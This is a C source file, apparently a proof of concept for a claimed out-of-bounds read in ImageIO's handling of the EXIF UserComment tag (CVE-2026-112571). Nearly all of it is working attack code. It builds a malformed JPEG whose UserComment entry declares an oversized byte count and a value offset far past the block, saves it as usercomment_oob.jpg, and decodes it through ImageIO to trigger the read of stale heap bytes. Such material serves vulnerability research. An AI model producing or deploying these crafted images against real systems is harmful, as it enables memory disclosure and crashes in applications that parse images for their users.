// iio.jpeg.comment · ImageIO · ReadUserComment · CVE-2026-112571
// EXIF UserComment short read leaves stale heap bytes
// C twin of the Swift POC: builds the oob-offset UserComment JPEG and decodes it through ImageIO.
// Build: clang -O2 -o cve-2026-112571 CVE-2026-112571.c -framework ImageIO -framework CoreGraphics -framework CoreFoundation
// Run:   ./cve-2026-112571 [count] [value-offset]

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// ── byte buffer ──
typedef struct { uint8_t *d; size_t n, cap; } buf;
static void bneed(buf *b, size_t extra) {
    if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); }
}
static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; }
static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; }
static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; }

static void be16(buf *b, uint16_t v) { bput(b, v >> 8); bput(b, v & 0xff); }
static void be32(buf *b, uint32_t v) {
    bput(b, v >> 24); bput(b, (v >> 16) & 0xff); bput(b, (v >> 8) & 0xff); bput(b, v & 0xff);
}

// ── seed construction (from Cinder27 Sources: JPEGPayload.exifUserComment) ──
static buf jpeg_user_comment(uint32_t count, uint32_t value_offset) {
    buf tiff = {0};
    bcat(&tiff, "MM\x00\x2a", 4);
    be32(&tiff, 8);                       // IFD0 at 8
    be16(&tiff, 1);                       // 1 entry
    be16(&tiff, 0x9286);                  // UserComment
    be16(&tiff, 7);                       // UNDEFINED
    be32(&tiff, count);                   // declared byte count
    be32(&tiff, value_offset);            // value offset far past the block
    be32(&tiff, 0);                       // next IFD

    buf out = {0};
    bcat(&out, "\xff\xd8", 2);            // SOI
    uint32_t app1_len = 6 + (uint32_t)tiff.n + 2;
    bcat(&out, "\xff\xe1", 2);
    bput(&out, app1_len >> 8); bput(&out, app1_len & 0xff);
    bcat(&out, "Exif\x00\x00", 6);
    bcat(&out, tiff.d, tiff.n);
    bcat(&out, "\xff\xd9", 2);            // EOI
    bfree(&tiff);
    return out;
}

// ── trigger: decode through ImageIO ──
#include <ImageIO/ImageIO.h>
#include <CoreGraphics/CoreGraphics.h>
#include <CoreFoundation/CoreFoundation.h>

static int decode_image(const buf *img, const char **detail) {
    CFDataRef cf = CFDataCreate(NULL, img->d, (CFIndex)img->n);
    if (!cf) { *detail = "CFDataCreate failed"; return -1; }
    CGImageSourceRef src = CGImageSourceCreateWithData(cf, NULL);
    CFRelease(cf);
    if (!src) { *detail = "CGImageSourceCreateWithData refused the file"; return -1; }
    size_t frames = CGImageSourceGetCount(src);
    // the metadata walk is where ReadUserComment reads count bytes at the oob offset
    CFDictionaryRef props = CGImageSourceCopyPropertiesAtIndex(src, 0, NULL);
    CGImageRef cg = CGImageSourceCreateImageAtIndex(src, 0, NULL);
    static char r[256];
    if (cg) {
        snprintf(r, sizeof r, "decoded %zu x %zu, %zu frame(s), properties %s",
                 (size_t)CGImageGetWidth(cg), (size_t)CGImageGetHeight(cg), frames,
                 props ? "present" : "absent");
        CGImageRelease(cg);
    } else {
        snprintf(r, sizeof r, "decode refused at index 0 (%zu frame(s) declared)", frames);
    }
    if (props) CFRelease(props);
    CFRelease(src);
    *detail = r;
    return cg ? 0 : -1;
}

int main(int argc, char **argv) {
    uint32_t count = argc > 1 ? (uint32_t)strtoul(argv[1], NULL, 0) : 0x400;
    uint32_t value_offset = argc > 2 ? (uint32_t)strtoul(argv[2], NULL, 0) : 0x4000;

    buf jpeg = jpeg_user_comment(count, value_offset);
    FILE *f = fopen("usercomment_oob.jpg", "wb");
    if (f) { fwrite(jpeg.d, 1, jpeg.n, f); fclose(f); }

    const char *detail = NULL;
    int rc = decode_image(&jpeg, &detail);
    printf("CVE-2026-112571 · UserComment count=0x%x offset=0x%x · %s\n", count, value_offset, detail ? detail : "?");
    printf("seed: usercomment_oob.jpg (%zu B) · exit code %d\n", jpeg.n, rc);
    bfree(&jpeg);
    return rc == 0 ? 0 : 1;
}